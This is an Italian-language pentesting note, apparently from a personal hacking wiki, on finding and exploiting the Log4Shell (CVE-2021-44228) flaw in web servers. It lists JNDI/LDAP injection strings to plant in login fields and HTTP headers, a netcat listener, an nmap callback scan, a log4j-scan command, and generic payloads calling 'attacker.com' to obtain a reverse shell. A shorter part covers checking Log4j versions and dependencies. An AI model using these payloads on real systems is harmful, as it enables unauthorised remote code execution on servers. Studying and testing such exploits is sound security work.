tags: Log4Shell Web_server web_server_hacking Log4j


Cos’è?

Questa vulnerabilità è una delle più gravi riscontrate negli ultimi anni perchè permette di sfruttare la libreria Log4j di Java per ottenere accesso al web server con privilegi di root. Essendo Java un linguaggio molto utilizzato rende questa vulnerabilità molto efficace, le versioni sulle quali è possibile sfruttare questa vulnerabilità vanno dalla 2.0 alla 2.14.1 della libreria Log4j.

1) Identificazione

Da fuori

Manuale

Tramite BurpSuite possiamo intercettare le richieste fatte al server e modificare in seguito i parametri delle richieste per verificare la presenza di questa vulnerabilità, per prima cosa ci dobbiamo mettere in ascolto con Netcat:

nc -lvnp 9999

Ora possiamo catturare la richiesta e mandarla al reapeter dove modificheremo i parametri i questo modo:

 
#uname: Il server potrebbe loggare il nome utente tentato.
 
Prova a modificare `uname=panino` in `uname=${jndi:ldap://<IP_ATTACCANTE>:<PORTA_LISTENER>/uname}`
 
#password: Meno probabile che venga loggata in chiaro, ma in un PoC tutto è possibile.
 
Prova a modificare `password=password` in `password=${jndi:ldap://<IP_ATTACCANTE>:<PORTA_LISTENER>/password}`
 
#User-Agent: Un classico.
 
Modifica `User-Agent: Mozilla/5.0 ...` in `User-Agent: ${jndi:ldap://<IP_ATTACCANTE>:<PORTA_LISTENER>/ua}`
 
#Referer:
 
Modifica `Referer: http://192.168.1.168:8080/` in `Referer: ${jndi:ldap://<IP_ATTACCANTE>:<PORTA_LISTENER>/referer}`
 
#Cookie: Il server potrebbe loggare i valori dei cookie o l'intero header
 
Modifica `Cookie: JSESSIONID=...` in `Cookie: JSESSIONID=${jndi:ldap://<IP_ATTACCANTE>:<PORTA_LISTENER>/cookie}`
 
#Accept-Language
 
Modifica `Accept-Language: en-US,en;q=0.9` in `Accept-Language: ${jndi:ldap://<IP_ATTACCANTE>:<PORTA_LISTENER>/lang}`
 
#Origin 
 
Modifica `Origin: http://192.168.1.168:8080` in `Origin: ${jndi:ldap://<IP_ATTACCANTE>:<PORTA_LISTENER>/origin}`
 

Se un parametro modificato ci restituisce una connessione con il nostro server Netcat (basta anche un simbolo non renderizzato) significa che quel parametro è vulnerabile.

Nmap

 
sudo nmap --script-updatedb
 
sudo nmap -p <PORTA_SERVER_LOG4J> --script http-vuln-cve2021-44228 --script-args log4shell.callback-server="<IP_ATTACCANTE>:9999" <IP_VITTIMA>
 
 

log4shell-detector

Log4j-scan

python3 log4j-scan.py -u http://target.com

Da dentro

Identificare la versione di Log4j

La vulnerabilità Log4Shell (CVE-2021-44228) è presente nelle versioni:

  • Log4j 2.x da 2.0 a 2.14.1.

Per verificare:

  1. Controlla se l’applicazione o il sistema utilizza Log4j.
  2. Esamina i file .jar o le dipendenze di progetto. Usa comandi come:
find /path/to/application -name "log4j*"

Se hai accesso al codice, cerca riferimenti a org.apache.logging.log4j.

Verifica le dipendenza

  • Se hai accesso al codice sorgente o ai file dell’applicazione, cerca la libreria log4j-core nelle dipendenze (ad esempio, in un file pom.xml per Maven o build.gradle per Gradle).

  • Cerca file JAR come log4j-core-2.x.jar.

Verifica la versione di Log4j

  • Le versioni vulnerabili sono Log4j 2.x fino alla 2.14.1.

  • Se l’applicazione utilizza una versione vulnerabile, potrebbe essere esposta.

2) Exploitazione

Log4j-scan

Questo strumento oltre che a verificare se sia o meno presente la vulnerabilità ci restituisce pure un payload da andare ad utilizzare per sfruttarla, questo payload va inserito per esempio in un form di login oppure in un header HTTP o un parametro URL.

Una volta inserito il payload ci mettiamo in ascolto con netcat ed otteniamo una reverse-shell.

Payload generici

 
${jndi:ldap://tuo-server-malizioso/exploit}
 
${jndi:ldap://attacker.com/a}